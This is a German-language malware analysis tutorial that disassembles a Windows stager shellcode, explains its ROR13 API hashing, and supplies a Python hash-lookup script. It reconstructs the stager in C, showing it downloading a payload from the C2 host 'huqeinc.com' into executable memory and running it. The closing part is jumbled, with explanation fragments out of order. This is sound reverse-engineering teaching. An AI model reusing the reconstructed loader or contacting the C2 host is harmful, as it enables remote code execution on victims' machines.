- Offset 0x14 in der `PEB_LDR_DATA`-Struktur ist das Mitglied `InMemoryOrderModuleList` vom Typ `LIST_ENTRY`. Die `LIST_ENTRY`-Struktur wird in Windows umfassend verwendet und ist normalerweise nur ein Header in einer größeren Struktur. Dieser Fall ist keine Ausnahme - der tatsächliche Typ der Einträge ist `LDR_DATA_TABLE_ENTRY`.
- Bei Offset 0x24 in der `LDR_DATA_TABLE_ENTRY` existiert ein Mitglied `FullDllName` vom Typ `UNICODE_STRING`. Dieser Typ wird in Windows umfassend verwendet und ist im Wesentlichen ein Container für einen Pascal-String - die ersten beiden WORDs beschreiben die Länge des Strings und seine Pufferkapazität. Daher lokalisieren wir bei 0x28 den tatsächlichen Puffer - welcher im Register `esi` gespeichert wird.
- Das `ecx`-Register befindet sich genau 2 Bytes vor dem DLL-Namenspuffer - und enthält die Länge des Strings.
Zusammenfassend ruft dieser gesamte Codeabschnitt den `FullDllName` im aktuellen PEB-Moduleintrag ab - speichert den Puffer in `esi` und dessen Länge in `ecx`.
## Modulnamen-Hash-Berechnung
Betrachten wir die nächsten paar Instruktionen:```assembly
0x000000000000001c: 31 FF xor edi, edi
0x000000000000001e: 31 C0 xor eax, eax
0x0000000000000020: AC lodsb al, byte ptr [esi]
0x0000000000000021: 3C 61 cmp al, 0x61
0x0000000000000023: 7C 02 jl 0x27
0x0000000000000025: 2C 20 sub al, 0x20
0x0000000000000027: C1 CF 0D ror edi, 0xd
0x000000000000002a: 01 C7 add edi, eax
0x000000000000002c: E2 F0 loop 0x1e
The lodsb-Instruktion ist genau der Grund, warum die Zeichenkette in esi gespeichert wurde, warum die Länge in ecx gespeichert wurde und warum das Richtungsflag gelöscht wurde.
Diese liest das erste ANSI-Zeichen (Byte), auf das esi zeigt, erhöht esi um eins und speichert das Ergebnis im al-Register.
Die späteren Teile wandeln Kleinbuchstaben in Großbuchstaben um – wenn der ASCII-Code größer oder gleich 0x61 ('a') ist, wird 0x20 subtrahiert.
Nach der Umwandlung in Großbuchstaben wird das edi-Register um 0xd nach rechts rotiert, und dann wird der Zeichenwert zu ihm addiert.
Da edi rotiert wird, verliert es die Informationen über die Zeichen, die ihm hinzugefügt werden, behält aber eine Art Aggregat davon in seinem Wert.
Mit anderen Worten – edi ist eine Art Hash der Zeichenkette, auf die esi zeigt. Die loop-Instruktion nutzt übrigens geschickt aus, dass ecx der Zähler für die Länge der Zeichenkette ist – sie dekrementiert um eins und führt die nächste Iteration aus, solange nicht null ist.
Diese Logik nach Python zu übertragen ist ziemlich unkompliziert:```python
def get_string_hash(s):
v = 0
for c in s.upper():
v = (v >> 0xd) | ((v & 0x1fff) << 19)
v = (v + ord(c)) & 0xffffffff
return v
## Die Exporttabelle durchlaufen
Kommen wir zu den nächsten Anweisungen:```assembly
0x000000000000002e: 52 push edx
0x000000000000002f: 57 push edi
0x0000000000000030: 8B 52 10 mov edx, dword ptr [edx + 0x10]
0x0000000000000033: 8B 42 3C mov eax, dword ptr [edx + 0x3c]
0x0000000000000036: 01 D0 add eax, edx
0x0000000000000038: 8B 40 78 mov eax, dword ptr [eax + 0x78]
0x000000000000003b: 85 C0 test eax, eax
0x000000000000003d: 74 4A je 0x89
0x000000000000003f: 01 D0 add eax, edx
0x0000000000000041: 50 push eax
0x0000000000000042: 8B 48 18 mov ecx, dword ptr [eax + 0x18]
0x0000000000000045: 8B 58 20 mov ebx, dword ptr [eax + 0x20]
0x0000000000000048: 01 D3 add ebx, edx
Zuerst werden edx (das den aktuellen Moduleintrag enthält) und edi (das den Hash seines Namens enthält) auf dem Stack gesichert.
Danach wird edx an Offset 0x10 referenziert. Da wir uns 8 Bytes innerhalb der Struktur (vom Typ LDR_DATA_TABLE_ENTRY) befinden, ist 0x10 das DllBase-Mitglied des Eintrags (0x18 - 0x8).
Auch im Speicher besitzt das Modul eine PE-Datenstruktur, und Offset 0x3c entspricht dem Zeiger des PE-Headers im DOS-Header.
Wir können sehen, dass eax als RVA behandelt wird, da edx zu sich selbst addiert wird - edx ist die Basisadresse des Moduls im Speicher.
Entsprechend ist der Offset 0x78 davon die PE-Exporttabelle, die Informationen über die exportierten Symbole (üblicherweise Funktionen) enthält.
Die zugehörige Datenstruktur heißt IMAGE_EXPORT_DIRECTORY und ist .
Angenommen, es ist nicht null (was mit geprüft wird) - wir pushen und dereferenzieren zwei Teile darin:
NumberOfNames-Mitglied.AddressOfNames-Mitglied.
Zusammenfassend hat dieser Teil also etwas Parsing des PE durchgeführt, um die Exporttabelle zu erhalten - und insbesondere die Anzahl der exportierten Symbole (in ecx) und deren Adresse im Speicher (in ebx).Weiter geht's:```assembly 0x000000000000004a: E3 3C jecxz 0x88 0x000000000000004c: 49 dec ecx 0x000000000000004d: 8B 34 8B mov esi, dword ptr [ebx + ecx*4] 0x0000000000000050: 01 D6 add esi, edx
Der Befehl `jecxz` springt, wenn `ecx` null ist – das passiert, wenn es keine exportierten Namen gibt, deutet aber auch darauf hin, dass diese Prüfung in einer Schleife stattfindet.
Die Tatsache, dass wir `ecx` verringern, bestätigt diesen Verdacht – wir erwarten, dass über alle exportierten Symbole iteriert wird, um eine Bedingung zu erfüllen.
Wir sehen, dass `ecx` mit 4 multipliziert und zu `ebx` addiert wird – alle Einträge in `AddressOfNames` sind RVAs zu den Symbolnamen, und so zeigt `esi` schließlich auf einen exportierten Namen.```assembly
0x0000000000000052: 31 FF xor edi, edi
0x0000000000000054: 31 C0 xor eax, eax
0x0000000000000056: AC lodsb al, byte ptr [esi]
0x0000000000000057: C1 CF 0D ror edi, 0xd
0x000000000000005a: 01 C7 add edi, eax
0x000000000000005c: 38 E0 cmp al, ah
0x000000000000005e: 75 F4 jne 0x54
Dieser Teil ähnelt der Hash-Berechnung, die wir bereits früher gesehen haben, aber anstatt ecx als Zähler zu verwenden, berechnet er den Hash bis zu einem NUL-Terminator:
edi per Selbst-XOR auf null gesetzt. Wie zuvor hält edi den Hash-Wert.eax wird ebenfalls auf null gesetzt. Sein unteres Byte (al) enthält in jeder Iteration den ASCII-Code des aktuellen Zeichens.lodsb setzt der Code al auf das Byte, auf das esi zeigt, und erhöht esi auf das nächste Byte.edi um 0xd nach rechts rotiert und anschließend der ASCII-Wert des aktuellen Zeichens addiert.al und ah vergleicht eigentlich nur al mit null (NUL-Terminator), da hier keine Operation andere Bytes von eax berührt und wir sichergestellt haben, dass diese null sind.Wir erwarten, dass die nächsten Teile eine Art Vergleich zwischen den berechneten Hashes (Modulname, Symbolname) und den erhaltenen Eingaben durchführen:```assembly
0x0000000000000060: 03 7D F8 add edi, dword ptr [ebp - 8]
0x0000000000000063: 3B 7D 24 cmp edi, dword ptr [ebp + 0x24]
0x0000000000000066: 75 E2 jne 0x4a
0x0000000000000068: 58 pop eax
0x0000000000000069: 8B 58 24 mov ebx, dword ptr [eax + 0x24]
0x000000000000006c: 01 D3 add ebx, edx
0x000000000000006e: 66 8B 0C 4B mov cx, word ptr [ebx + ecx2]
0x0000000000000072: 8B 58 1C mov ebx, dword ptr [eax + 0x1c]
0x0000000000000075: 01 D3 add ebx, edx
0x0000000000000077: 8B 04 8B mov eax, dword ptr [ebx + ecx4]
0x000000000000007a: 01 D0 add eax, edx
0x000000000000007c: 89 44 24 24 mov dword ptr [esp + 0x24], eax
0x0000000000000080: 5B pop ebx
0x0000000000000081: 5B pop ebx
0x0000000000000082: 61 popad
0x0000000000000083: 59 pop ecx
0x0000000000000084: 5A pop edx
0x0000000000000085: 51 push ecx
0x0000000000000086: FF E0 jmp eax
Nun, `ebp-8` zeigt genau auf den alten `edi`-Wert, den wir gepusht haben – der den Hash des festgelegten Modulnamens enthielt.
Wir addieren diesen Hashwert zum Hashwert des exportierten Namens und vergleichen das mit dem DWORD an `ebp+0x24`.
Aufgrund einer früheren `pushad`-Anweisung haben wir 8 Register gepusht, sodass dies direkt auf den letzten geheimnisvollen Wert zeigt, der am Anfang gepusht wurde (0x726774c)!
Wenn sie nicht gleich sind, springen wir zum Offset `0x4a`, um zum nächsten Symbol im selben Modul überzugehen.
Ansonsten stellen wir die Exporttabelle in `eax` wieder her, dereferenzieren die Adresse am Offset 0x24 (das ist die Ordinaltabelle) und addieren sie zur Basis `ebx`.
Die Ordinaltabelle enthält 2 Bytes pro Eintrag – und da `ecx` die Eintragsnummer ist, ist `ebx + ecx*2` der Ordinalwert.
Die nächsten Zeilen sind unkompliziert: `0x1c` in der Exporttabelle ist die Adresse der exportierten Funktionen, und `ebx + ecx*4` stellt die über `ecx` indizierte Funktionsadresse dar.
Wie man sieht, wird dieser Wert in `eax` gespeichert und schließlich aufgerufen:
- Den `eax`-Wert in `esp + 0x24` speichern, was zu diesem Zeitpunkt genau die Stelle ist, an der das `eax`-Register in der `pushad`-Anweisung gespeichert wurde. Dies stellt sicher, dass der `eax`-Wert nicht verloren geht, wenn wir `popad` ausführen.
- Zwei Dummy-Pops auf `ebx` ausführen, um zwei vorherige Pushes loszuwerden (den berechneten Hash und den Moduleintrag).
- Ein `popad` ausführen, das alle Allzweckregister vom Stack wiederherstellt, aber `eax` aufgrund unserer vorherigen Überschreibung bewahrt. In diesem Stadium entsprechen der Stack und die Register ihrem ursprünglichen Zustand beim Eintritt in die Funktion, außer `eax`, das ein gewünschter Funktionszeiger ist.
- Den Rückgabewert (der vom `call ebp` gepusht wurde) in `ecx` und den gewünschten Hash in `edx` poppen und dann `ecx` erneut pushen, wodurch der geheimnisvolle Hash-Wert im Stack im Wesentlichen entfernt wird.
- An diesem Punkt führt `jmp eax` zum Abschluss der Funktion – die Funktion, auf die `eax` zeigt, wird ausgeführt, und wenn sie zurückkehrt, verwendet sie den ursprünglichen Rückgabewert.
Der letzte Teil dieser langen Logik fährt im Grunde zum nächsten Modul fort:```assembly
0x0000000000000088: 58 pop eax
0x0000000000000089: 5F pop edi
0x000000000000008a: 5A pop edx
0x000000000000008b: 8B 12 mov edx, dword ptr [edx]
0x000000000000008d: EB 86 jmp 0x15
Dadurch werden im Wesentlichen frühere Pushes bereinigt und zu Offset 0x15 gewechselt, wo das nächste Modul zum Einsatz kommen wird.
Zusammengefasst – der gesamte Shellcode zwischen Offset 6 und 0x8d (einschließlich) erwartet, dass Parameter für eine Funktion gepusht werden, gefolgt von einem benutzerdefinierten Hash. Wenn der Hash übereinstimmt – wird die entsprechende Funktion aufgerufen. Das ist sicherlich ein netter Weg, um Funktionsnamen-Strings im Code zu vermeiden!
Da wir uns diese Hashes ziemlich oft ansehen werden, ist es gut, unsere Arbeit zu automatisieren. Nutzen wir die zuvor codierten Python-Skripte erneut und schreiben eine Funktion, die einen bestimmten Hash nachschlägt:```python import os import pefile import sys
BASE_DIR = os.path.join(os.environ['WINDIR'], 'system32')
def get_string_hash(s): v = 0 for c in s: v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v
def get_lib_hash(s): return get_string_hash(''.join([ i + '\x00' for i in (s + '\x00').upper() ]))
def get_sym_hash(s): return get_string_hash(s + '\x00')
def find_by_hash(hash, dll_postfix): for dll_name in os.listdir(BASE_DIR): if not dll_name.endswith(dll_postfix): continue dll_path = os.path.join(BASE_DIR, dll_name) dll_hash = get_lib_hash(dll_name) pe = pefile.PE(dll_path) if pe is None or not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): continue syms = [ sym.name.decode() for sym in pe.DIRECTORY_ENTRY_EXPORT.symbols if sym.name is not None ] for s in syms: if (get_sym_hash(s) + dll_hash) & 0xFFFFFFFF == hash: print('%s!%s' % (dll_name, s)) return print('Coult not find hash!')
if name == 'main': if len(sys.argv) > 1: dll_postfix = '.dll' if len(sys.argv) == 2 else sys.argv[2] num = int(sys.argv[1], 16) if 'x' in sys.argv[1] else int(sys.argv[1]) find_by_hash(num, dll_postfix)
Wenn wir zum Beispiel `get_hash.py 0x726774c kernel32.dll` ausführen, erhalten wir die Ausgabe `kernel32.dll!LoadLibraryA`!
## Analyse der Hauptlogik
Jetzt, da wir verstehen, wie die gesamte Hashing-Funktionalität funktioniert, ist es Zeit für die Hash-Jagd!
Kehren wir zur Hauptlogik zurück - wir sagten, dass der String `wininet` auf den Stack gelegt wird - und jetzt wissen wir, dass `LoadLibraryA` damit aufgerufen wird.
Die nächsten Teile sind nun:```assembly
0x00000000000000a2: E8 00 00 00 00 call 0xa7
0x00000000000000a7: 31 FF xor edi, edi
0x00000000000000a9: 57 push edi
0x00000000000000aa: 57 push edi
0x00000000000000ab: 57 push edi
0x00000000000000ac: 57 push edi
0x00000000000000ad: 57 push edi
0x00000000000000ae: 68 3A 56 79 A7 push 0xa779563a
0x00000000000000b3: FF D5 call ebp
Der call dort schiebt die Rücksprungadresse auf den Stack (0xa7).
Dann setzen wir edi auf null und schieben 5 Nullen auf den Stack. Die 0xa779563a ist ein weiterer Hash, diesmal in wininet.dll, da get_hash.py 0xa779563a wininet.dll!InternetOpenA ergibt.
Daher ruft der Code InternetOpenA mit lauter Nullen und NULLs auf.
Es gibt ein paar Sprünge, die in einem Aufruf zurück zu Offset 0xba enden:```assembly
0x00000000000000b5: E9 A4 00 00 00 jmp 0x15e
0x00000000000000ba: 5B pop ebx
...
0x000000000000015e: E9 C9 01 00 00 jmp 0x32c
...
0x000000000000032c: E8 89 FD FF FF call 0xba
0x0000000000000331: 68 75 71 65 69 push 0x69657175
0x0000000000000336: E6 outs dx, byte ptr ds:[esi]
...
Die Idee ist, dass wir bei der Rückkehr die Adresse des Offsets `0x331` gepusht haben werden.
Ich habe ein paar Assembler-Anweisungen an dieser Adresse hinzugefügt – beachte, dass `outs` zum Beispiel nicht etwas ist, das wir erwarten.
Wenn man diese Bytes *als Daten* untersucht, ergibt sich eine andere Geschichte:```python
binascii.unhexlify('68757165696e632e636f6d005d44fd6d')
Dies ergibt die Zeichenkette huqeinc.com (mit einem NUL-Terminator), gefolgt von 4 unverständlichen Bytes.
Wenn wir also zurück zur Adresse 0xba gehen, landen wir in ebx, das auf diese Zeichenkette zeigt.
Untersuchen wir die Teile, die dieser Anweisung folgen:```assembly
0x00000000000000bb: 31 C9 xor ecx, ecx
0x00000000000000bd: 51 push ecx
0x00000000000000be: 51 push ecx
0x00000000000000bf: 6A 03 push 3
0x00000000000000c1: 51 push ecx
0x00000000000000c2: 51 push ecx
0x00000000000000c3: 68 BB 01 00 00 push 0x1bb
0x00000000000000c8: 53 push ebx
0x00000000000000c9: 50 push eax
0x00000000000000ca: 68 57 89 9F C6 push 0xc69f8957
0x00000000000000cf: FF D5 call ebp
Der Wert `0xc69f8957` ist ein weiterer Hash, diesmal für `wininet.dll!InternetConnectA`.
Diese Funktion erhält viele Parameter, aber im Kern bekommen wir: `InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL)`.
Beachten Sie, dass `INTERNET_SERVICE_HTTP` den Wert 3 hat, `0x1bb` der Wert 443 ist und `eax` das Ergebnis von `InternetOpenA` enthielt.
Im weiteren Verlauf sehen wir nach dem Sichern des Ergebnisses von `InternetConnectA` eine ähnliche Reihe von Sprüngen:```assembly
0x00000000000000d1: 50 push eax
0x00000000000000d2: E9 8C 00 00 00 jmp 0x163
0x00000000000000d7: 5B pop ebx
0x00000000000000d8: 31 D2 xor edx, edx
0x00000000000000da: 52 push edx
0x00000000000000db: 68 00 32 C0 84 push 0x84c03200
0x00000000000000e0: 52 push edx
0x00000000000000e1: 52 push edx
0x00000000000000e2: 52 push edx
0x00000000000000e3: 53 push ebx
0x00000000000000e4: 52 push edx
0x00000000000000e5: 50 push eax
0x00000000000000e6: 68 EB 55 2E 3B push 0x3b2e55eb
0x00000000000000eb: FF D5 call ebp
...
0x0000000000000163: E8 6F FF FF FF call 0xd7
0x0000000000000168: 2F das
0x0000000000000169: 51 push ecx
0x000000000000016a: 70 59 jo 0x1c5
...
Wie zuvor ergeben die Anweisungen nach dem Aufruf weniger Sinn, daher vermuten wir, dass sie als Daten interpretiert werden sollten.
Tatsächlich kodieren sie den NUL-terminierten String /QpYB, was nicht sonderlich hilfreich ist. Wir stellen fest, dass beim Zurückkehren zu Offset 0xd7 ein Zeiger auf diesen String auf den Stack gelegt wird.
Zurück bei 0xd7 wird diese Adresse in ebx gepoppt. Um zu verstehen, was diese Daten bedeuten, lass uns herausfinden, welche Funktion aufgerufen wird.
Der Hash 0x3b2e55eb ergibt wininet.dll!HttpOpenRequestA, das ebenfalls viele Parameter erhält.
Die meisten dieser Parameter werden NULLs sein (aufgrund des Pushs von edx), mit Ausnahme der folgenden:
hConnect ist eax, welches das Ergebnis von InternetConnectA ist.lpszObjectName ist der String, den wir gesehen haben (/QpYB).dwFlags enthält den Wert 0x84c03200, der laut diesem INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD ist.Die nächsten paar Anweisungen enden mit einem weiteren API-Aufruf:```assembly 0x00000000000000ed: 89 C6 mov esi, eax 0x00000000000000ef: 83 C3 50 add ebx, 0x50 0x00000000000000f2: 68 80 33 00 00 push 0x3380 0x00000000000000f7: 89 E0 mov eax, esp 0x00000000000000f9: 6A 04 push 4 0x00000000000000fb: 50 push eax 0x00000000000000fc: 6A 1F push 0x1f 0x00000000000000fe: 56 push esi 0x00000000000000ff: 68 75 46 9E 86 push 0x869e4675 0x0000000000000104: FF D5 call ebp
Nachdem wir die Ergebnisse von `HttpOpenRequestA` mit `esi` gesichert haben, addieren wir 0x50 zu `ebx`.
Da `ebx` garantiert zwischen den Aufrufen erhalten bleibt, zeigt es nun auf Offset `0x1b8` im Shellcode, der als Zeichenkette dargestellt wie folgt aussieht: `User-Agent: Microsoft-CryptoAPI/6.1\r\n`.
Der Hash `0x869e4675` löst die API `wininet.dll!InternetSetOptionA` auf, die die folgenden Argumente erhält:
- Das Request-Handle, das in `esi` gespeichert wurde.
- Den Wert `0x1f` als `dwOption`, was laut [diesem Dokument](https://learn.microsoft.com/en-us/windows/win32/wininet/option-flags) `INTERNET_OPTION_SECURITY_FLAGS` ist.
- Der Parameter `lpBuffer` wird ein Zeiger auf den Wert `0x3380` sein, der die Sicherheitsflags für die Anfrage kodiert: `WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID`.
- Der `dwBufferLength` ist 4, da nur ein DWORD als `lpBuffer` gesetzt wurde.
Dadurch verwendet die Verbindung TLS, ignoriert aber alle Zertifikatsfehler usw.
Hier sind die nächsten Teile:```assembly
0x0000000000000106: 5F pop edi
0x0000000000000107: 31 FF xor edi, edi
0x0000000000000109: 57 push edi
0x000000000000010a: 57 push edi
0x000000000000010b: 6A FF push -1
0x000000000000010d: 53 push ebx
0x000000000000010e: 56 push esi
0x000000000000010f: 68 2D 06 18 7B push 0x7b18062d
0x0000000000000114: FF D5 call ebp
0x0000000000000116: 85 C0 test eax, eax
0x0000000000000118: 0F 84 CA 01 00 00 je 0x2e8
0x000000000000011e: 31 FF xor edi, edi
0x0000000000000120: 85 F6 test esi, esi
0x0000000000000122: 74 04 je 0x128
0x0000000000000124: 89 F9 mov ecx, edi
0x0000000000000126: EB 09 jmp 0x131
0x0000000000000128: 68 AA C5 E2 5D push 0x5de2c5aa
0x000000000000012d: FF D5 call ebp
0x000000000000012f: 89 C1 mov ecx, eax
0x0000000000000131: 68 45 21 5E 31 push 0x315e2145
0x0000000000000136: FF D5 call ebp
0x0000000000000138: 31 FF xor edi, edi
0x000000000000013a: 57 push edi
0x000000000000013b: 6A 07 push 7
0x000000000000013d: 51 push ecx
0x000000000000013e: 56 push esi
0x000000000000013f: 50 push eax
0x0000000000000140: 68 B7 57 E0 0B push 0xbe057b7
0x0000000000000145: FF D5 call ebp
0x0000000000000147: BF 00 2F 00 00 mov edi, 0x2f00
0x000000000000014c: 39 C7 cmp edi, eax
0x000000000000014e: 75 07 jne 0x157
0x0000000000000150: 58 pop eax
0x0000000000000151: 50 push eax
0x0000000000000152: E9 7B FF FF FF jmp 0xd2
0x0000000000000157: 31 FF xor edi, edi
0x0000000000000159: E9 91 01 00 00 jmp 0x2ef
Ein Dummy-pop, um das übermäßige Pushen von zuvor zu bereinigen (wir haben die Sicherheitsoptionen auf den Stack gelegt).
Da wir einen weiteren Hash sehen (0x7b18062d), lösen wir sofort dessen API auf: wininet.dll!HttpSendRequestA.
Hier gibt es einige bemerkenswerte Punkte:
ebx gespeicherte User-Agent wird als zweites Argument an die Funktion übergeben.0x2e8.esi null ist, prüft tatsächlich, ob das Request-Handle nicht NULL ist. Das ist ziemlich ungewöhnlich, da wir HttpSendRequestA an diesem Punkt bereits aufgerufen haben, aber trotzdem - falls es null war, springen wir zu 0x128.0x128 verwenden wir den Hash 0x5de2c5aa, also kernel32.dll!GetLastError, und speichern dessen Ergebnis in ecx.0x131 verwenden wir den Hash 0x315e2145, also user32.dll!GetDesktopWindow, und verwenden dieses Ergebnis dann mit dem Hash , also .Die Idee ist, einfach InternetErrorDlg aufzurufen und zu sehen, ob ein erneuter Versuch erforderlich ist.
Erinnern wir uns auch: Wenn HttpSendRequestA fehlschlägt - springen wir zu 0x2e8. Wenn es erfolgreich war und kein erneuter Versuch erforderlich ist - springen wir zu 0x2ef.
Untersuchen wir Offset 0x2e8 (den Fehlerpfad):```assembly
0x00000000000002e8: 68 F0 B5 A2 56 push 0x56a2b5f0
0x00000000000002ed: FF D5 call ebp
Der Hash übersetzt sich zu `kernel32.dll!ExitProcess`, also beenden wir bei einem Fehler den Prozess.
Dieser gesamte Teil könnte wie folgt übersetzt werden:```c
if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0))
{
ExitProcess(0);
}
if (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, NULL))
{
goto lblRetryConn;
}
...
Betrachten wir, was an Offset 0x2ef passiert:```assembly
0x00000000000002ef: 6A 40 push 0x40
0x00000000000002f1: 68 00 10 00 00 push 0x1000
0x00000000000002f6: 68 00 00 40 00 push 0x400000
0x00000000000002fb: 57 push edi
0x00000000000002fc: 68 58 A4 53 E5 push 0xe553a458
0x0000000000000301: FF D5 call ebp
0x0000000000000303: 93 xchg ebx, eax
0x0000000000000304: B9 00 00 00 00 mov ecx,0x0
0x0000000000000309: 01 D9 add ecx,ebx
0x000000000000030b: 51 push ecx
0x000000000000030c: 53 push ebx
0x000000000000030d: 89 E7 mov edi, esp
0x000000000000030f: 57 push edi
0x0000000000000310: 68 00 20 00 00 push 0x2000
0x0000000000000315: 53 push ebx
0x0000000000000316: 56 push esi
0x0000000000000317: 68 12 96 89 E2 push 0xe2899612
0x000000000000031c: FF D5 call ebp
0x000000000000031e: 85 C0 test eax, eax
0x0000000000000320: 74 C6 je 0x2e8
Kannst du erraten, was der Hash `0xe553a458` ist, nur basierend auf diesen anderen Konstanten?
- `0x40` ist `PAGE_EXECUTEREADWRITE`, wie wir bereits gesehen haben.
- `0x1000` ist `MEM_COMMIT`.
Tatsächlich entspricht dieser Hash `kernel32.dll!VirtualAlloc`, und wir allozieren einfach einen RWX-Speicherblock der Größe `0x400000`.
Es ist wichtig, hier die Logik des Angreifers zu verstehen – da wir eine Internetverbindung zu einem C2-Server haben und nun eine RWX-Seite allozieren, erwarten wir, eine weitere Payload zu erhalten!
Nach diesem Aufruf wird der resultierende Speicherpuffer in `ebx` und `ecx` gespeichert.
Bei Offset `0x30b` beginnen wir einen weiteren Satz von Stack-Pushes für einen Funktionsaufruf – diesmal mit dem Hash `0xe2899612` (`wininet.dll!InternetReadFile`).
Die Pushes bestimmen die Parameter (in umgekehrter Reihenfolge):
- `hFile` ist `esi`, was unsere Internetanfrage war (vom Typ `HINTERNET`).
- `lpBuffer` ist `ebx` – unser neu allozierter Puffer.
- `dwNumberOfBytesToRead` ist auf `0x2000` gesetzt.
- `lpdwNumberOfBytesRead` ist `edi`, das auf freien Speicherplatz zeigt, den wir auf dem Stack alloziert haben.
Schließlich springen wir, falls diese Funktion fehlschlägt, zu `0x2e8`, was erneut `ExitProcess` aufruft.
Beachte, dass es eine zusätzliche `push`-Anweisung von `ecx` gibt (Offset `0x30b`) – das bedeutet, dass wir die Adresse unseres allozierten Puffers gesichert haben.
Wir sind fast am Ende! Schauen wir uns die letzten paar Anweisungen an:```assembly
0x0000000000000322: 8B 07 mov eax, dword ptr [edi]
0x0000000000000324: 01 C3 add ebx, eax
0x0000000000000326: 85 C0 test eax, eax
0x0000000000000328: 75 E5 jne 0x30f
0x000000000000032a: 58 pop eax
0x000000000000032b: C3 ret
Nun, edi zeigte auf die Anzahl der gelesenen Bytes – es wird in eax dereferenziert.
Dann addieren wir diesen Wert zu ebx, das erhalten bleibt und auf unseren RWX-Speicherbereich zeigt.
Wenn eax nicht null ist, bedeutet das, dass einige Bytes gelesen wurden, also springen wir erneut zu 0x30f, um weitere Daten zu lesen.
Dies ist bei Lesevorgängen üblich – wir lesen jedes Mal maximal 0x2000 Bytes, bis wir 0 lesen, was bedeutet, dass keine Bytes mehr zu lesen sind.
Wenn wir nicht springen, befinden wir uns bei 0x32a, wo wir die allokierten Bytes vom Stapel popen und ret aufrufen.
Zur Erinnerung: Wir haben zuvor den Anfang des zurückgegebenen Puffers gepusht, sodass ret ihn als Rücksprungadresse verwenden wird.
Das bedeutet, wir springen einfach zu dem Puffer, den wir erhalten haben – behandeln ihn im Wesentlichen als weiteren Shellcode!
So könnte unser Shellcode konzeptionell aussehen:```c HINTERNET hInternet; HINTERNET hConnect; HINTERNET hRequest; DWORD dwSecurityOptions = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; DWORD dwErrorFlags = FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA; PBYTE pcPayload; PBYTE pcCurrPtr; DWORD dwBytesRead; INT (*pfnPayload)();
// Make sure "wininet.dll" is loaded in current process LoadLibraryA("wininet");
// Connect to C2 hInternet = InternetOpenA(NULL, 0, NULL, NULL, 0); hConnect = InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
// Attempt to create a request to C2 do { hRequest = HttpOpenRequestA(hConnect, NULL, "/QpYB", NULL, NULL, NULL, INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD, NULL); InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecurityOptions, sizeof(dwSecurityOptions)); if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0)) { ExitProcess(0); } } while (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, dwErrorFlags, NULL));
// Allocate RWX payload pcPayload = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTEREADWRITE);
// Read payload from the C2 pcCurrPtr = pcPayload; do { if (!InternetReadFile(hRequest, pcCurrPtr, 0x2000, &dwBytesRead)) { ExitProcess(0); } pcCurrPtr += dwBytesRead; } while (0 < dwBytesRead);
// Execute payload pfnPayload = (INT(*)())pcPayload; pfnPayload();
## Zusammenfassung
Auch wenn es sich hierbei um einen sehr verbreiteten Shellcode handelt, bietet die statische Analyse Lernvorteile:
- Wir extrahierten mehrere Ebenen von PowerShell-Code, um einen 32-Bit-Shellcode zu erhalten.
- Während der Shellcode-Analyse besprachen wir die `PEB`- und Shellcoding-Strategie unter Windows.
- Wir haben ein Tool für die Reverse-Hash-Suche entwickelt (siehe `get_hash.py` in diesem Repository).
- Wir besprachen gängige Shellcode-Techniken wie `push-ret` und `call-pop`.
- Wir behandelten einige Teile der `PE`-Dateistruktur.
Danke,
Jonathan Bar Or (https://jonathanbaror.com)
MEM_COMMIT | MEM_RESERVEPAGE_EXECUTEREADWRITE$var_code (der base64-dekodiert und mit der Konstante 35 per XOR verknüpft wurde) wird in den Puffer kopiert und dann ausgeführt (durchgeführt mit dem $var_runme-Delegaten).$DoIt aus.ecxecxtesteaxloop-Anweisung (die mit ecx arbeitet) springen wir einfach mit jne zurück, solange wir keinen NUL-Terminator erreicht haben.0xbe057b7wininet.dll!InternetErrorDlg0x2f00 ist ERROR_INTERNET_FORCE_RETRY, und wir vergleichen das Ergebnis von InternetErrorDlg mit ihr.